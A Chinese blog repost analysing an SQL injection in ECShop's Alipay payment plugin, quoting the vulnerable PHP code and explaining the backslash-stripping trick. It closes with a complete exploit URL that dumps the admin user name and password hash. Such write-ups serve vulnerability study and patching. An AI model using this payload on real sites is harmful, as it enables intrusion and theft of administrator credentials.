来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 漏洞作者:360漏洞分析:Seay博客:www.cnseay.com今天习惯性的到处逛,看看文章。看到了360爆的一个ecshop 支付宝支付插件的注入漏洞,照例的分析下,360的团队还是挺赞的。由于漏洞源于...
漏洞作者:360 漏洞分析:Seay 博客:www.cnseay.com 今天习惯性的到处逛,看看文章。看到了360爆的一个ecshop 支付宝支付插件的注入漏洞,照例的分析下,360的团队还是挺赞的。 由于漏洞源于ecshop的支付宝支付插件,所有利用前提是站点安装此插件,利用不受GPC影响。 漏洞核心代码在\includes\modules\payment\alipay.php 文件 respond()函数,第215行。 function respond() { if (!empty($_POST)) { foreach($_POST as $key => $data) { $_GET[$key] = $data; } } $payment = get_payment($_GET['code']); $seller_email = rawurldecode($_GET['seller_email']); $order_sn = str_replace($_GET['subject'], '', $_GET['out_trade_no']); $order_sn = trim($order_sn); /* 检查支付的金额是否相符 */ if (!check_money($order_sn, $_GET['total_fee'])) { /*----省略----*/ $order_sn变量由str_replace($_GET['subject'], '', $_GET['out_trade_no']);控制,我们可以通过$_GET['subject']参数来替换掉$_GET['out_trade_no']参数里面的反斜杠\。 最终$order_sn被带入check_money()函数。我们跟进看一下 在include\lib_payment.php文件中109行. function check_money($log_id, $money) { $sql = 'SELECT order_amount FROM ' . $GLOBALS['ecs']->table('pay_log') . " WHERE log_id = '$log_id'"; $amount = $GLOBALS['db']->getOne($sql); if ($money == $amount) { /*----省略----*/ 此处就是漏洞现场。原来的$order_sn被带入了数据库。 利用实践: 首先我们要通过str_replace来达到我们想要的效果,%00是截断符,即也为NULL,NULL值是与0相等的, 测试代码 <?php $a=addslashes($_GET['a']); $b=addslashes($_GET['b']); print_r($a.'<br />'); print_r($b.'<br />'); print_r(str_replace($a,'',$b)); ?> 效果图: 调用respond()函数的文件是respond.php,所以要在respond.php文件利用。 最终利用EXP: http://localhost/ecshop/respond.php?code=alipay&subject=0&out_trade_no=%00' and (select * from (select count(*),concat(floor(rand(0)*2),(select concat(user_name,password) from ecs_admin_user limit 1))a from information_schema.tables group by a)b) -- By seay |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com